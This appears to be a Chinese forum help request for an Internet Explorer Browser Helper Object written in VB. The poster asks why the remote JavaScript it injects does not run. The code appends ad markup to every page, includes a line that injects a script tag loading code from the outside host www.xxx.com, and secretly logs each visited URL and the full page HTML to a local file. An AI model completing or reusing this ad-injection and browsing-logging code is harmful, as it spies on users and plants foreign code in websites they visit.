请教IE插件BHO如何执行脚本[附代码]
可以修改网页内容，但无法执行 JAVASCRIPT脚本，求高手赐教！
还有就是，这个 IE_DocumentComplete 事件，在一个浏览器窗口里，会被多次执行，有好方法只执行一次吗？
我的邮箱：d e f i c at 163.com
代码如下：
Implements IObjectWithSiteTLB.IObjectWithSiteDim WithEvents IE As InternetExplorer'Attribute IE.VB_VarHelpID = -1Dim M_Site As IUnknownVBPublic adStr As StringPublic ExecAllready As BooleanPrivate Sub IE_DocumentComplete(ByVal pDisp As Object, URL As Variant) Dim appendstr As String Dim oldhtml As String appendstr = "<div id=ad>测试代码</div>" ‘这个可以执行' appendstr = "<script src=http://www.xxx.com/sc.asp></script>" 这个脚本无法执行 filePath = "C:\WINDOWS\bho\annybho.txt" cliptext = "网址=" & URL & Chr(13) WriteFile filePath, cliptext p1 = InStr(1, URL, "http://") If p1 >= 1 Then oldhtml = IE.Document.body.innerhtml IE.Document.body.innerhtml = oldhtml & appendstr oldhtml = IE.Document.body.innerhtml cliptext = "代码=" & oldhtml & Chr(13) WriteFile filePath, cliptext End If End SubPrivate Sub IObjectWithSite_GetSite(ByVal Priid As IObjectWithSiteTLB.GUIDPtr, PPVobj As IObjectWithSiteTLB.VOIDPtr)M_Site.QueryInterface Priid, PPVobjEnd SubPrivate Sub IObjectWithSite_SetSite(ByVal pSite As IObjectWithSiteTLB.IUnknownVB)Set M_Site = pSiteSet IE = pSiteEnd Sub
